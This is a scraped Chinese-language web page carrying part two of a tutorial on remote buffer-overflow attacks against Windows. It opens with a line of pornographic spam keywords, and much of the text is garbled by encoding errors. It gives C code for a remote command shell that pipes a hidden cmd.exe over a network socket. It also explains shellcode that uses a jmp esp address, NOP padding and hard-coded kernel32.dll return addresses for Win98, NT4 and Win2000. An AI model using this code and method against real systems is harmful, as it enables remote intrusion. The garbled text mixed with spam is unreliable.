日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

windows系統(tǒng)下的遠(yuǎn)程溢出方法( 二 )


si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati
on);
/*
這段代碼創(chuàng)建了一個(gè)shell(cmd.exe),并且把cmd.exe的標(biāo)準(zhǔn)輸入用第二個(gè)管道的
讀句柄替換 。cmd.exe的標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯(cuò)誤輸出用第一個(gè)管道的寫句柄替換 。
這兩個(gè)管道的邏輯示意圖如下:
(父進(jìn)程) read<---〔管道一〕<---write 標(biāo)準(zhǔn)輸出(cmd.exe子進(jìn)程)
(父進(jìn)程) write--->〔管道二〕--->read 標(biāo)準(zhǔn)輸入(cmd.exe子進(jìn)程)
*/
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
/*
這段代碼完成了客戶輸入和shell的交互 。PeekNamedPipe用來異步的查詢管道一,
看看shell是否有輸出 。如果有就readfile讀出來,并發(fā)送給客戶 。如果沒有,
就去接受客戶的輸入 。并writefile寫入管道傳遞給shell.
這兩個(gè)管道與client和server的配合邏輯圖如下:
輸入命令(Client) <-- send(父進(jìn)程) read<--〔管道一〕<--write 標(biāo)準(zhǔn)輸出
(cmd.exe子進(jìn)程)
獲得結(jié)果(Client) recv-->(父進(jìn)程)write-->〔管道二〕-->read 標(biāo)準(zhǔn)輸入
(cmd.exe子進(jìn)程)
*/
return 0;
}
/***************************************************************************
*/
----shellcode疑難問題
下面來寫shellcode 。針對windows系統(tǒng)緩沖區(qū)溢出的特殊性,shellcode有一些新的問題,
我采用如下辦法來解決:
1)跳轉(zhuǎn)指令地址的問題
因?yàn)樵诤瘮?shù)返回的時(shí)候,esp都指向返回地址后面的地址 。(為什么?因?yàn)閑sp在返回
后要指向的地址,就是父函數(shù)在壓完參數(shù),準(zhǔn)備執(zhí)行call 子函數(shù)之前的堆棧頂 。)
所以,我們的shellcode的開始位置,就是函數(shù)返回的時(shí)候,esp所指向的位置 。因此,
使用jmp esp 就可以跳到我們的shellcode上來 。
當(dāng)然,這里面作了一個(gè)假設(shè),就是程序是由調(diào)用者來負(fù)責(zé)堆棧的恢復(fù)的 。
匯編代碼就是這個(gè)樣子:
push eax;
push ebx;
push ecx;
call SubRutine
add esp,000C
但是,如果是由子程序來負(fù)責(zé)恢復(fù)堆棧,
SubRutine:
....
:010091F3 C9 leave
:010091F4 C20C00 ret 000C
esp就不是指向我們的shellcode開始位置 。它將指向shellcode 0c的位置 。
事實(shí)上,當(dāng)你在試圖發(fā)現(xiàn)敵人程序的一個(gè)溢出點(diǎn)時(shí),這個(gè)數(shù)值(這里是0C)是可以
很精確的發(fā)現(xiàn)的,因?yàn)槟憧梢钥吹剿膮R編原代碼呀!
為了解決這種情況下shellcode不能被正確執(zhí)行的問題,我們可以在shellcode前面
加上0c個(gè)nop.
這樣,我們需要作的事情,就是用內(nèi)存中一個(gè)jmp esp指令的地址,來覆蓋敵人程序的返回地址 。
在內(nèi)存中,當(dāng)然有很多dll都會有jmp esp指令,我選擇了kernel32.dll里面的指令,因?yàn)?br /> 這kernel32.dll是系統(tǒng)核心DLL,加載在前面,后面的dll安裝地址要隨前面dll的
變動(dòng)而變動(dòng),為了通用性的考慮,采用KERNEL32.DLL 。
那么這些地址就是固定的了:
win98第二版下(4.00.2222a),返回地址為:0xbff795a3
winnt4下(4.00.1381),返回地址為:0x77f0eac3
win2000下(5.00.2195),返回地址為:0x77e2e32a

推薦閱讀